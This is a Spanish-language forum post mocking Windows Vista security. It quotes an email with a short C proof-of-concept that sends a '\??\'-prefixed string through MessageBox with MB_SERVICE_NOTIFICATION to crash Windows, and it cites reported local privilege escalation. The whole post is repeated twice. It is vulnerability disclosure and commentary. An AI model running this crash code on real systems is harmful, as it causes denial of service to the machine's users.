juker12
Nuev@ Applesan@
Hola,
Mal y muy mal comineza a verse Windows Vista. Esto pasa por presentar un producto beta como final
Un tipo le envio un mail con un sencillo exploit de desbordamiento de buffer en memoria
con la posibilidad de escalacion de privilegios ( menuda seguridad del vista )
El e-mail
"Dear
On one of Russian forum security vulnerability is discussed in
Microsoft Windows (Windows XP is tested). A vulnerability is caused by
memory corruption is string beginning with "\?\" is send thorugh
MessageBox API with MB_SERVICE_NOTIFICATION flag. It looks like some
"debug" feature not cleaned out in final release and it seems to
exploitable to code execution at kernel level. Code example below:
#include <stdio.h>
#include <windows.h>
int main(void){
int i;
char bug1 [] ="\\??\\XXXX";
for(i = 0; i < 10; i ++)
{
MessageBox(0, bug1, bug1, MB_SERVICE_NOTIFICATION);
}
}
System hangs, crashes (BSOD) or reboots.
--
Asi que los de seguridad de microsoft se le atragando la cena de accion de gracias y no le quedo mas*remedio que publicar esto en el blog oficial de microsoft.
"The PoC reportedly allows for local elevation of privilege on Windows 2000 SP4, Windows Server 2003 SP1, Windows XP SP1, Windows XP SP2 and Windows Vista operating systems"
Logicamente como todos los window son la misma cosa, pues le afectan a todos.
La navidad pasada recuerdo que paso algo similiar, incluso el tio responsable de seguridad que estaba en Paris de vacaciones tuvo que regresar a EE.UU a toda leche.
Mal y muy mal comineza a verse Windows Vista. Esto pasa por presentar un producto beta como final
Un tipo le envio un mail con un sencillo exploit de desbordamiento de buffer en memoria
con la posibilidad de escalacion de privilegios ( menuda seguridad del vista )
El e-mail
"Dear
On one of Russian forum security vulnerability is discussed in
Microsoft Windows (Windows XP is tested). A vulnerability is caused by
memory corruption is string beginning with "\?\" is send thorugh
MessageBox API with MB_SERVICE_NOTIFICATION flag. It looks like some
"debug" feature not cleaned out in final release and it seems to
exploitable to code execution at kernel level. Code example below:
#include <stdio.h>
#include <windows.h>
int main(void){
int i;
char bug1 [] ="\\??\\XXXX";
for(i = 0; i < 10; i ++)
{
MessageBox(0, bug1, bug1, MB_SERVICE_NOTIFICATION);
}
}
System hangs, crashes (BSOD) or reboots.
--
Asi que los de seguridad de microsoft se le atragando la cena de accion de gracias y no le quedo mas*remedio que publicar esto en el blog oficial de microsoft.
"The PoC reportedly allows for local elevation of privilege on Windows 2000 SP4, Windows Server 2003 SP1, Windows XP SP1, Windows XP SP2 and Windows Vista operating systems"
Logicamente como todos los window son la misma cosa, pues le afectan a todos.
La navidad pasada recuerdo que paso algo similiar, incluso el tio responsable de seguridad que estaba en Paris de vacaciones tuvo que regresar a EE.UU a toda leche.
